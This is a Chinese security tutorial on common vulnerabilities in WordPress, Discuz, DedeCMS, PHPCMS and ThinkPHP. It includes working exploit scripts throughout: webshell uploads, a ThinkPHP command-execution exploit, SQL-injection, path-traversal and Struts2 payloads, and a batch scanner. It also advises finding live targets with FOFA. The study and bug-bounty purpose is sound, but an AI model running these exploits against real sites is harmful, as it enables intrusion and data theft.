关于 Web 安全:6. 常见 CMS & 开源系统风险点_攻击开源cms
一、WordPress
-
开源内容管理系统(CMS),使用 PHP + MySQL 构建;
-
全球超过 40% 网站使用;
-
支持插件、主题系统,功能可扩展性极强;
-
也是风险点最多的系统之一,插件/主题贡献了大部分安全问题。
1.1 WordPress 架构概览
(便于理解风险点位置)
WordPress├── wp-admin/ → 后台管理界面├── wp-content/│ ├── themes/ → 前端模板(可能存在 XSS/上传)│ └── plugins/ → 插件目录(最多风险点来源)├── wp-includes/ → 核心函数库├── wp-config.php → 配置文件(数据库连接信息)├── index.php → 网站首页入口└── functions.php → 常见主题挂钩函数
1.2 WordPress 常见风险点类型
1.3 历史 CVE 风险点分析(含原理)
CVE-2019-8942 — 任意文件删除风险点
-
位置:
wp-includes/functions.php
-
影响版本:WordPress < 5.0.1
-
原理:
-
wp_delete_attachment()
可删除任意路径; -
攻击者上传一个图片文件并删除对应路径可实现本地文件删除。
-
CVE-2020-25213 — 插件 File Manager RCE
-
插件名:File Manager(700k+ 安装)
-
风险点描述:
-
插件打包带了
elFinder
文件管理器; -
elFinder 中的
connector.minimal.php
没有身份验证; -
可直接上传恶意 PHP 文件并执行,实现 RCE。
-
-
利用路径:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
CVE-2017-1001000 — WP REST API 任意用户信息泄露
-
影响版本:4.7.x
-
API 可被未授权访问,直接获取用户信息:
GET /wp-json/wp/v2/users
1.4 POC 编写方法(以 RCE 为例)
示例:File Manager 插件 RCE POC
import requests # 导入 requests 库,用于发送 HTTP 请求def upload_shell(url): # 定义上传 WebShell 的函数,参数为目标网站地址 # 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径 upload_url = f\"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php\" # 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHP files = { \'upload[]\': (\'shell.php\', b\'\', \'application/x-php\') } try: # 发送 POST 请求将文件上传到服务器 r = requests.post(upload_url, files=files, timeout=5) # 如果响应中包含“added”关键字,表示上传成功 if \"added\" in r.text: print(\"[+] 上传成功!尝试访问 shell\") # 打印成功信息 # 打印 WebShell 的访问地址,并附带测试命令 ?cmd=id print(f\"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id\") else: print(\"[-] 上传失败\") # 上传不成功则输出失败信息 except: print(\"[-] 请求失败\") # 请求过程中出现异常则输出失败信息upload_shell(\"http://127.0.0.1\") # 调用函数,传入本地测试地址作为目标网站地址
1.5 风险点复现平台
1)Vulhub
-
风险点靶场,提供 WordPress 相关复现环境
-
使用方法:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/wordpress/CVE-XXXX-XXXXdocker-compose up -d
2)GitHub PoC 搜索
site:github.com wordpress pocsite:github.com wordpress CVE-2020-25213
常见 PoC 库:
-
https://github.com/projectdiscovery/nuclei-templates
-
https://github.com/vulhub/vulhub
-
https://github.com/nomi-sec/PoC-in-GitHub
3)国内平台
1.6 系统性 WordPress 风险点挖掘
初级阶段:
-
安装 WordPress(建议用 Docker)
-
安装热门插件(下载旧版本)
-
配合 Burp Suite 抓包观察上传/请求
中级阶段:
-
用 WPScan 自动化扫描插件风险点
-
学习常见 CVE 利用过程
-
手动构造 POC、复现请求
高级阶段:
-
审计插件源码(PHP)
-
分析插件 hook、filter、ajax 动态请求
-
自己编写插件 + 引入风险点 → 学习风险点原理
1.7 WPScan 工具推荐
wpscan --url http://127.0.0.1 --enumerate p
-
--enumerate u
枚举用户 -
--enumerate p
枚举插件 -
--api-token=xxx
可查 CVE
1.8 小结
二、Discuz
Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。
-
作者:Comsenz(腾讯收购)
-
语言:PHP + MySQL
-
用途:论坛、社区系统(可与 UCenter 集成)
-
文件结构:功能集中在
source/
目录,交互入口在forum.php
、member.php
等
2.1 Discuz 常见风险点类型
2.2 Discuz 文件结构
利于风险点定位
Discuz/├── admin.php → 后台入口├── forum.php → 主页面逻辑├── uc_server/ → 用户中心(UCenter)├── source/│ ├── function/ → 核心函数库│ ├── module/ → 模块控制器│ ├── plugin/ → 插件目录│ ├── class/ → 类库│ └── include/ → 各类配置及逻辑函数├── config/├── data/│ ├── cache/ → 缓存,某些可写导致 RCE│ └── template/ → 模板编译生成目录└── template/ → 前端模板
2.3 典型 CVE 和历史风险点详解
1)Discuz! X3.4 前台 getshell 风险点(无 CVE,影响广泛)
-
版本:Discuz X3.4 < R20211215
-
入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录
-
关键点:上传路径
data/cache/common.php
被 include,成功 getshell
原理:
// source/function/function_core.php// 文件缓存内容直接 includeif(file_exists($cachefile)) { include $cachefile;}
-
攻击者构造上传内容为 PHP 代码,绕过格式检测;
-
上传后缓存被 include,即可远程执行 PHP。
2)CVE-2013-2087 — SQL 注入风险点
-
版本:Discuz 7.2
-
位置:
misc.php?mod=patch
-
参数:
serial
直接进入 SQL 查询,未做参数过滤 -
影响:可爆库、登录后台、提权等
3)XSS 风险点 — 签名/主题
-
签名设置时可以写入
;
-
管理员后台查看时触发;
-
可构造Cookie 窃取 / CSRF 搭配使用实现提权
2.4 利用方式与 POC 编写
示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell
import requests# 修改为你的目标站点target = \'http://127.0.0.1/discuz/\'# 构造上传内容(PHP一句话)payload = { \'Filedata\': (\'shell.jpg\', b\'\', \'image/jpeg\')}headers = { \'User-Agent\': \'Mozilla/5.0\', \'Cookie\': \'your_cookie_here\' # 登录后的 Cookie}upload_url = target + \'misc.php?mod=swfupload&action=swfupload&operation=album&type=image\'r = requests.post(upload_url, files=payload, headers=headers)print(\'[+] 上传完成,检查是否写入缓存并被 include\')
2.5 风险点挖掘思路
move_uploaded_file
/ copy
函数$sql = \"SELECT ... $_GET/$_POST\"
echo $_GET/$_POST/$_COOKIE
include($_GET)
、require($var)
formhash
2.6 工具推荐
1)Burp Suite + 插件(xss validator、upload scanner)
2)代码审计工具
-
Seay Source Code Auditor(国产,支持 PHP)
-
RIPS(开源静态分析工具)
-
VSCode + 全局搜索
3)自动化风险点检测框架
-
dirsearch、nuclei、WhatWeb:探测后台与目录结构
-
sqlmap:测试 SQL 注入
2.7 风险点复现平台
2.8 系统学习 Discuz 风险点
推荐流程:
-
本地搭建环境:
-
使用 LNMP(或 XAMPP/WAMP)搭建 Discuz
-
安装常用插件如“X附件管理”、“门户扩展”、“积分商城”
-
-
手动分析风险点:
-
查找上传入口、动态 include 文件
-
配合 burp 抓包分析请求参数
-
-
复现公开风险点:
-
利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本
-
改写为 POC/EXP,加深理解
-
-
源码审计(进阶):
-
审计 source/function、module/plugin 目录
-
重点函数:
include
,eval
,move_uploaded_file
,DB::query
-
2.9 小结
三、dedecms
-
作者:织梦科技(dede58.com / dedecms.com)
-
语言:PHP + MySQL
-
用途:中小型企业官网、个人站、博客系统,国内使用广泛
-
特性:模板灵活、后台功能强,但安全设计薄弱
3.1 DedeCMS 常见风险点类型
3.2 重要目录结构
dedecms/├── dede/ → 后台目录(默认可自定义)├── plus/ → 模块扩展接口(如留言板、搜索)├── uploads/ → 用户上传目录├── include/ → 核心库函数├── data/ → 数据库备份 / 配置文件 / 可读可写├── templets/ → 前端模板目录├── member/ → 用户系统模块└── install/ → 安装程序
3.3 典型风险点与 CVE 实例详解
1)CVE-2018-6910 — 任意文件删除风险点
-
位置:
/plus/recommend.php
-
原理:
-
参数
aid
为用户控制,最终调用了unlink
删除文件 -
可拼接删除任意文件,如:
../../data/admin/config.php
-
// plus/recommend.php@unlink($cfg_basedir.$row[\'litpic\']);
2)任意文件上传(getshell) — no CVE
-
版本:DedeCMS v5.7 SP2 / SP3 多版本
-
位置:会员中心 / 模板管理上传 / 自定义表单
// dede/templets.phpmove_uploaded_file($_FILES[\'uploadfile\'][\'tmp_name\'], $cfg_basedir.$filename);
-
可以构造上传
.php;.jpg
文件绕过检查 -
上传路径可控,如
uploads/a.php
3)SQL 注入风险点
-
位置:
plus/diy.php
,plus/search.php
,member/guestbook.php
等 -
危险函数:
$dsql->Execute()
,GetOne()
,ExecuteNoneQuery()
// plus/diy.php$query = \"SELECT ... WHERE id=\'$id\'\";// id 未过滤,拼接到 SQL
- 利用
id=1\' or updatexml(1,concat(0x7e,user()),0) --+
可回显错误
4)远程代码执行风险点(RCE) — include 拼接
- 位置:
/include/common.inc.php
中存在动态包含
require_once(dirname(__FILE__).\'/../\'.$some_var.\'.php\');
- 如果
$some_var
可控,则可实现任意包含或代码执行
3.4 风险点挖掘与 POC 编写方法
示例:DedeCMS 任意文件上传 Getshell(会员中心)
攻击流程:
-
登录会员中心
-
上传头像时绕过检查上传 php
-
利用访问上传路径执行恶意代码
简易 POC:
import requestsurl = \'http://target.com/uploads/\'file = {\'file1\': (\'shell.php\', \'\', \'application/octet-stream\')}r = requests.post(\'http://target.com/dede/templets_add.php\', files=file)if \'success\' in r.text: print(\'[+] Upload success\') print(f\'[+] Shell: {url}shell.php\')
3.5 代码审计思路
move_uploaded_file
, copy
SELECT * FROM
, WHERE
, $_GET
, $_POST
include
, require
, eval
unlink
, @unlink
readfile
, fopen
3.6 复现环境搭建
方式一:Docker 环境搭建
git clone https://github.com/vulhub/vulhubcd vulhub/dedecms/CVE-2018-6910docker-compose up -d
访问:http://localhost:8080
方式二:手动搭建
-
下载 dedecms 安装包(如 5.7 SP2)
-
本地配置 LNMP / XAMPP 环境
-
修改后台目录名(
dede/
)确保路径一致 -
添加测试数据,构造 payload
3.7 风险点资源获取平台
DedeCMS
,获取风险点编号和说明织梦
, dedecms
,查看历史风险点和 PoCdedecms poc exploit
3.8 系统性 DedeCMS 风险点挖掘
初级:
-
熟悉后台结构、模板上传逻辑、plus 接口参数
-
练习 CVE-2018-6910(任意删除)和常见文件上传
中级:
-
审计 member/plus/dede/include 目录代码
-
编写 burp 插件抓包分析自定义上传逻辑
高级:
-
分析 include/common.inc.php 加载流程
-
搜索
eval
,include
,require
,fwrite
,做静态审计
3.9 小结
四、phpcms
-
名称:PHPCMS(PHP内容管理系统)
-
作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护
-
语言:PHP + MySQL
-
版本:常见使用版本为 PHPCMS v9
目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。
4.1 重要目录结构
phpcms/├── phpcms/ ← 核心文件├── caches/ ← 缓存目录,可写├── statics/ ← 静态资源├── api/ ← 接口模块├── install/ ← 安装目录├── member/ ← 会员中心├── admin/ ← 管理后台├── uploadfile/ ← 文件上传(可传马)└── configs/ ← 数据库配置等
4.2 常见风险点类型总结
$this->db->query()
拼接参数导致注入eval
、assert
等include($_GET[\'mod\'].\'.php\')
这类形式readfile($filename)
或 file_get_contents($_GET[\'f\'])
unlink($_GET[\'file\'])
等未验证参数4.3 典型风险点实例详解(含 CVE)
1)任意文件上传风险点(webshell)
-
位置:
phpcms/modules/member/index.php
-
原理:
-
注册会员上传头像时,没有过滤扩展名或上传路径可控
-
可以上传
a.php;.jpg
或通过目录穿越写入.php
-
实战流程:
-
注册账号,访问上传接口
-
上传恶意
webshell
-
构造访问路径执行命令
示例代码:
// member/index.php$filepath = \'uploadfile/avatar/\' . $userid . \'.jpg\';move_uploaded_file($_FILES[\'Filedata\'][\'tmp_name\'], $filepath);
构造 payload:
POST /index.php?m=member&c=index&a=upload HTTP/1.1...Filedata = shell.php;.jpg // 后缀绕过
2)SQL 注入风险点(无WAF场景高回显)
-
位置:
/api.php
,参数未过滤 -
CVE:CVE-2018-19127
-
POC:
http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=\' and updatexml(1,concat(0x7e,user()),1) --+
- 可直接报错注入,回显数据库用户名等敏感数据
3)任意文件读取风险点
-
位置:
phpcms/modules/content/down.php
-
风险点点:
$filename = $_GET[\'f\']; // 未限制后缀名和目录readfile($filename);
- 构造访问:
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php
4)任意文件包含风险点
-
CVE:CVE-2018-19126
-
位置:
phpcms/modules/search/index.php
-
核心代码:
require_once PHPCMS_PATH.\'include/\'.$module.\'.php\';
- 构造:
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell
前提是可控上传 + include。
4.4 POC 编写方式
以上传风险点为例,编写 POC 时通常包含三步:
-
构造上传请求
files = { \'Filedata\': (\'shell.php;.jpg\', \'\', \'image/jpeg\')}r = requests.post(upload_url, files=files)
- 判断是否上传成功
if \'success\' in r.text and \'shell.php\' in r.text: print(\"Upload Success\")
- 发送命令执行测试
test = requests.post(shell_url, data={\'cmd\': \'phpinfo();\'})if \'PHP Version\' in test.text: print(\"Shell is working\")
4.5 复现平台
phpcms
查看风险点编号、通告phpcms poc exploit
4.6 本地搭建复现环境
方法一:使用 Vulhub
git clone https://github.com/vulhub/vulhubcd vulhub/phpcms/CVE-2018-19126docker-compose up -d
访问:http://localhost:8080
方法二:手动搭建
-
下载 PHPCMS v9
-
配置 LNMP 环境
-
配置 MySQL 及数据库账号
-
添加测试数据并尝试风险点构造
4.7 代码审计技巧
move_uploaded_file
, copy
, fwrite
,配合 $_FILES
使用$db->query(\"select * from ... \".$_GET[\'id\'])
eval()
, include
, require
readfile
, file_get_contents
, fopen
4.8 学习建议
入门阶段
-
学会搭建 phpcms v9 环境
-
练习 CVE-2018-19126 文件包含
-
抓包分析上传接口逻辑
进阶阶段
-
熟练编写文件上传、注入、包含类风险点 POC
-
尝试代码审计 phpcms/modules/* 路径下各模块
-
搜索高危函数
eval
,assert
,unserialize
4.9 小结
五、ThinkPHP
-
全称:ThinkPHP Framework
-
作者/团队:TopThink(国人开发)
-
语言:PHP
-
版本体系:
-
ThinkPHP 3.x(大量站点仍在用)
-
ThinkPHP 5.x(5.0、5.1)
-
ThinkPHP 6.x(最新版,重构了架构)
-
安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。
5.1 常见风险点类型
include($file)
时未限制路径5.2 核心风险点详解
1)ThinkPHP 5.0.23 RCE(经典)
-
编号:无 CVE,但极其广泛
-
影响版本:ThinkPHP 5.0.0 ~ 5.0.23
-
原因:路由系统未限制模块/方法名,导致
__construct()
被执行
请求构造:
POST /index.php?s=/index/\\think\\Request/input HTTP/1.1Content-Type: application/x-www-form-urlencoded_get[]=phpinfo
-
解释:
-
/index.php?s=/index/\\think\\Request/input
利用了 PHP 类自动加载 -
调用了
Request::input()
方法 -
_get[]
数组会被传给input
方法,最终触发命令执行
-
利用函数:
-
system()
-
phpinfo()
-
assert()
2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)
-
编号:CVE-2018-20062
-
原理:控制器反射调用,构造调用方法并传参触发命令执行
利用路径:
GET /index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1
-
App::invokeFunction()
会调用任意函数phpinfo
,传参为1
-
支持调用
system
,exec
,shell_exec
攻击链:
\\think\\App -> invokeFunction(function, args) -> call_user_func_array
3)变量覆盖导致任意文件写入
-
原理:
-
日志系统使用 extract() 获取变量
-
利用日志写入点 + 后缀伪造写入 webshell
-
利用条件:
-
日志目录可写
-
文件内容可控(如写入
)
5.3 POC 编写思路(以 5.0.23 RCE 为例)
POC 核心思路:
-
发送 POST 请求执行
phpinfo()
测试 RCE 是否存在 -
改成
system(\'id\')
实现命令执行
import requestsurl = \'http://target.com/index.php?s=/index/\\\\think\\\\Request/input\'data = {\'_method\': \'__construct\', \'filter[]\': \'phpinfo\', \'server[REQUEST_METHOD]\': \'1\'}r = requests.post(url, data=data)if \'PHP Version\' in r.text: print(\"[+] ThinkPHP RCE 存在!\")
5.4 审计技巧与代码分析重点
route.php
app()->run()
App::invokeFunction
Request::input()
Config::get()
Log::write()
5.5 复现平台
5.6 本地环境复现(Vulhub)
git clone https://github.com/vulhub/vulhubcd vulhub/thinkphp/5-rcedocker-compose up -d
访问:http://localhost:8080 可直接使用 PoC 测试是否存在风险点
5.7 实战挖掘技巧
1)路由注入点识别
-
/index.php?s=/
是否存在? -
是否允许使用
\\think\\类名
构造请求?
2)控制器调用链梳理
-
查看是否存在反射执行点
App::invokeFunction
,Loader::action
3)日志/模板写入点
-
查看
Log::write()
是否内容可控 -
模板编译缓存是否在 web 根目录(
runtime/temp/*.php
)
4)DEBUG 模式信息泄露
访问:
/index.php?s=/index/\\\\think\\\\app/invokefunction&function=phpinfo/index.php?debug=1
5.8 版本风险点
5.9 学习建议
六、CVE 利用方式
6.1 什么是 CVE?
-
CVE 编号示例:CVE-2018-20062
-
组成:
CVE-年份-编号
,如CVE-2023-XXXX
-
意义:为安全研究者提供一个统一引用风险点的“身份证”。
6.2 CVE 风险点利用的一般步骤
6.3 CVE 利用类型示例(Web 安全领域)
6.4 CVE 利用方式深入分析:以两个 CVE 为例
案例一:ThinkPHP RCE(CVE-2018-20062)
风险点概述:
-
利用了
App::invokeFunction()
方法未做权限验证,可远程执行任意函数
请求方式:
GET /index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1
实现效果:
-
执行任意 PHP 函数,如
system(\"id\")
利用步骤:
-
本地搭建 ThinkPHP 5.1 环境
-
访问上方构造的 URL
-
响应中出现 PHP 版本信息或执行结果
案例二:Apache Struts2 RCE(CVE-2017-5638)
风险点:
-
Apache Struts2 文件上传组件使用
Content-Type
头触发 OGNL 表达式执行
Payload 示例:
Content-Type: %{(#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Test\",\"Exploit\"))}
执行效果:
-
执行任意命令,如
whoami
、反弹 shell
6.5 CVE PoC 编写方法(以 Web 为例)
1)PoC 基本结构
import requestsdef test(url): payload = \"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=phpinfo&vars[0]=1\" res = requests.get(url + payload) if \"PHP Version\" in res.text: print(\"[+] 风险点存在\") else: print(\"[-] 风险点不存在\")test(\"http://127.0.0.1\")
2)攻击型 Exploit 示例(RCE)
import requestsdef exploit(url, cmd): payload = f\"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=system&vars[0]={cmd}\" res = requests.get(url + payload) print(res.text)exploit(\"http://127.0.0.1\", \"id\")
6.6 常用平台查找 CVE 和 POC
1)官方平台
2)POC/EXP 平台
6.7 CVE 实战思路总结
-
先搜索 CVE 编号(Google、NVD、Seebug)
-
确认版本是否影响
-
在 Vulhub 构建复现环境
-
写 POC 脚本测试回显
-
扩展为批量检测脚本、自动化利用工具
-
提交风险点平台如补天、SRC 或 GitHub
七、POC 编写方法
PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:
-
风险点复现与验证
-
自动化扫描
-
提交风险点平台(如补天、CNVD)
-
作为风险点利用(EXP)的前置阶段
重点是“验证”,不是“攻击”。PoC 不应对目标造成破坏。
7.1 PoC 的基本结构
PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果
import requestsdef poc(url): payload = \"...\" # 构造恶意请求 res = requests.get(url + payload) if \"风险点特征\" in res.text: print(f\"[+] {url} 存在风险点!\") else: print(f\"[-] {url} 不存在风险点。\")
7.2 常见风险点类型的 PoC 编写模板
1)远程命令执行(RCE)
以 ThinkPHP RCE 为例(CVE-2018-20062):
def thinkphp_rce(url): payload = \"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=phpinfo&vars[0]=1\" try: res = requests.get(url + payload, timeout=5) if \"PHP Version\" in res.text: print(f\"[+] 存在RCE风险点: {url}\") else: print(\"[-] 不存在风险点\") except: print(\"[-] 请求失败\")
2)SQL 注入风险点
以某 CMS POST 注入为例:
def sql_injection(url): data = { \"username\": \"admin\", \"password\": \"admin\' OR 1=1-- \" } res = requests.post(url, data=data) if \"欢迎您\" in res.text or \"dashboard\" in res.text: print(f\"[+] SQL注入成功: {url}\") else: print(\"[-] SQL注入失败\")
3)任意文件读取
以 Grafana 任意文件读取(CVE-2021-43798)为例:
def read_file(url): payload = \"/public/plugins/alertlist/../../../../../../../../etc/passwd\" res = requests.get(url + payload) if \"root:x:0:0:\" in res.text: print(f\"[+] 存在任意文件读取: {url}\") else: print(\"[-] 风险点不存在\")
4)文件上传绕过
常见场景是上传 php 文件绕过后缀验证:
def file_upload_poc(upload_url): files = {\'file\': (\'shell.php\', \'\', \'application/x-php\')} res = requests.post(upload_url, files=files) if \"上传成功\" in res.text: print(f\"[+] 文件上传成功,可能存在风险点\")
7.3 编写 PoC 的核心技巧
1)如何构造 Payload?
-
利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异
-
分析风险点原理,寻找参数、路径或头部注入点
-
参考 Github / Exploit-DB 的 PoC 样例进行改写
2)如何判断是否成功?
-
关键词判断法:如
\"PHP Version\"
、\"uid=\"
、\"root:x:0\"
等 -
响应长度变化
-
HTTP 状态码
-
响应头部特征
3)如何提升 PoC 自动化能力?
-
增加 URL 检测逻辑,自动补全路径
-
增加 timeout/重试机制
-
支持批量扫描、读取目标列表
-
添加可视化或日志记录模块
示例:批量扫描 PoC 框架
def scan(target_list): for url in target_list: try: thinkphp_rce(url) except Exception as e: print(f\"[-] 扫描失败:{url}, 错误:{e}\")
7.4 PoC 工具和平台资源
CVE-202x-xxxx poc
7.5 进阶建议
1)学习 PoC 框架
-
Pocsuite3
:360 Mars 团队开源风险点验证框架 -
Nuclei
:字节开源 YAML 编写 POC 框架,适合做批量扫描 -
Metasploit
:EXP 居多,也包含 PoC 模块
2)看公开源码学习结构
-
GitHub 搜索
intitle:poc CVE-202*
,或关键词cms风险点 poc
,对照学习 -
关注 SRC/补天 高质量 PoC 写法(参数化、模块化)
7.6 小结
八、CNVD
-
CNVD:China National Vulnerability Database
-
中文名称:国家信息安全风险点共享平台
-
官网地址:https://www.cnvd.org.cn
-
主管单位:中国国家互联网应急中心(CNCERT)
CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。
它具备以下功能:
8.1 CNVD 与 CVE 区别对比
CNVD 编号结构
示例:CNVD-2022-10201
-
CNVD
:中国风险点库编号 -
2022
:年份 -
10201
:编号(每年单独编号)
有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。
8.2 如何使用 CNVD 做风险点研究?
1)查询风险点信息
打开官网首页 👉 https://www.cnvd.org.cn
使用 关键词、厂商、组件名、编号 等搜索:
-
关键词:ThinkPHP / WordPress / Redis
-
风险点编号:CNVD-2021-30102
-
厂商/组件:泛微 e-office、泛微OA、用友等
示例结果内容:
-
风险点名称
-
风险点等级(高危/中危)
-
影响范围
-
修复建议
-
公开时间
-
风险点描述
2)查找可复现风险点(含 POC)
部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。
例如:
-
CNVD-2021-30102 泛微OA 任意文件上传
-
GitHub 搜索:
泛微 CNVD-2021-30102 POC
3)提交风险点
-
注册账号:https://www.cnvd.org.cn/member/login.htm
-
登录后台提交风险点信息
-
等待审核和编号分配
-
审核通过后会获得风险点积分
4)配合工具自动检测 CNVD 风险点
可以结合以下平台或工具,实现批量检测:
-
fofa + cnvd
组合(资产搜索 + 风险点检测) -
nuclei
的 CNVD POC 模板(.yaml 格式) -
洞鉴/鹰图/Pocsuite3
等集成平台检测 CNVD 风险点
8.3 常见场景应用
8.4 配合平台/工具
8.5 小结
九、风险点盒子
-
名称:风险点盒子(VulBox)
-
网址:https://www.vulbox.com
-
运营方:知道创宇(国内安全公司)
-
性质:白帽子风险点众测平台 + 企业安全合作平台
风险点盒子是什么?
风险点盒子是一个连接:
-
白帽子(你)
-
企业(厂商)
-
平台(知道创宇)
三者之间的风险点收集、披露、奖励机制平台。
可以:
9.1 注册与使用流程
注册流程
-
访问官网:https://www.vulbox.com
-
使用手机号或邮箱注册账号
-
完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)
提交风险点流程
-
登录后台 ➜ 点击“提交风险点”
-
填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等
-
可上传截图、复现视频、PoC 链接等
-
提交后等待审核,审核成功会收到积分/奖励
风险点类型支持
9.2 风险点盒子优势
面向厂商 SRC
风险点盒子对接了很多大型平台,如:
-
联通、移动、华为
-
招商银行、支付宝
-
各类政企系统
-
中小厂商(企业众测)
平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。
支持公开 & 私密提交
-
公开提交:风险点审核通过后可展示在风险点广场
-
私密提交:只提交给厂商和平台,外部不可见
-
可匿名提交:避免打草惊蛇
众测任务邀请制
技术好、有提交记录后,会被平台邀请:
-
参与高价值站点的定向测试
-
按任务提交风险点,按风险点奖励现金/积分
9.3 白帽子常用技巧
如何发现风险点?
-
目标:厂商登录页、搜索、注册、上传等功能点
-
工具:BurpSuite、dirsearch、sqlmap、F12+调试
-
常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载
如何提交让平台快速通过?
-
写明:
-
风险点入口地址
-
触发条件
-
复现步骤
-
危害描述
-
建议修复措施
-
-
附加截图、视频、PoC URL(更具可信度)
9.4 实战建议
适合做的实战项目:
-
在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境
-
本地挖掘 XSS、SQL 注入、后台绕过风险点
-
写成 PoC(参考之前讲的 PoC 编写方法)
-
到风险点盒子找类似站点或厂商进行验证
-
提交风险点,积累积分与实战经验
9.5 小结
十、补天
补天平台是什么?
补天平台是一个白帽子与厂商之间的“中间桥梁”,由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。
10.1 补天平台主要功能
10.2 支持的风险点类型
10.3 挖洞 + 提交流程
-
使用 FOFA/ZoomEye 找目标(可选定厂商)
-
识别 CMS/系统(如 dedecms、phpcms、thinkphp)
-
使用 BurpSuite、手工 + 工具挖洞
-
编写复现文档(截图 + 步骤 + POC)
-
登录补天平台提交
-
审核通过 ➜ 积分奖励
10.4 练习路径
-
本地搭建风险点环境(如 ThinkPHP、dedecms)
-
复现已知风险点(CVE/CNVD)
-
编写风险点分析 + POC
-
FOFA/ZoomEye 扫描使用目标厂商
-
在补天提交真实可复现的低危风险点(如 XSS)
-
慢慢积累积分,提升排名
10.5 小结
十一、github-poc 资源复现
-
POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。
-
GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POC、EXP(利用代码) 和复现环境。
-
有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。
11.1 GitHub 上 POC 搜索方法
关键词搜索技巧(举例):
ThinkPHP CVE pocdedecms file upload pocWordPress RCE github\"phpcms\" in:descriptionCVE-2023 in:title
推荐结合使用的关键词:
推荐仓库(通用集合类):
-
https://github.com/nomi-sec/PoC-in-GitHub
-
自动收集 GitHub 所有 CVE 利用代码
-
-
https://github.com/vulhub/vulhub
-
中文的最强风险点复现环境集合(含环境+POC)
-
-
https://github.com/projectdiscovery/nuclei-templates
-
Nuclei 的 POC 模板库(适合批量测试)
-
-
https://github.com/zhzyker/exphub
-
含企业级系统(Weblogic、Confluence 等)的 EXP
-
-
https://github.com/w181496/Webshell
-
提供配套风险点上传后的 Webshell(辅助测试)
-
11.2 POC 复现完整流程
以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:
步骤 1:搭建环境
使用 vulhub
、docker
、或自己搭建风险点 CMS 环境。
# 如果是 Vulhub 支持的风险点git clone https://github.com/vulhub/vulhubcd dedecms/xxxdocker-compose up -d
或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。
步骤 2:获取 POC
在 GitHub 搜索:
dedecms upload poc
找到一个 POC 仓库,如:
https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
下载或者复制其中的 POC 脚本,例如 poc.py
。
步骤 3:阅读 POC 原理
通常 POC 包含:
/uploads/a.php
)file
, upload[]
)需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。
步骤 4:运行 POC
python3 poc.py http://127.0.0.1/dedecms/
-
查看控制台是否提示上传成功
-
查看返回的 Webshell 链接
-
使用浏览器/
curl
打开,确认是否 RCE 成功
步骤 5:分析风险点原理(进阶)
掌握风险点利用条件:
-
文件类型限制绕过?
-
后缀双写?(如
.php;.jpg
) -
文件内容绕过?(加 GIF 头?)
-
后台未鉴权上传接口?
-
文件是否可被访问?
11.3 从 GitHub 挖掘优质 POC 的技巧
CVE-2023-37960 poc
11.4 辅助工具推荐
11.5 示例复现案例
11.6 小结
graph TDA[GitHub 搜索风险点 PoC] --> B[分析风险点原理]B --> C[搭建环境 Vulhub/Docker]C --> D[运行 POC 脚本]D --> E[复现成功]E --> F[总结报告/投稿平台]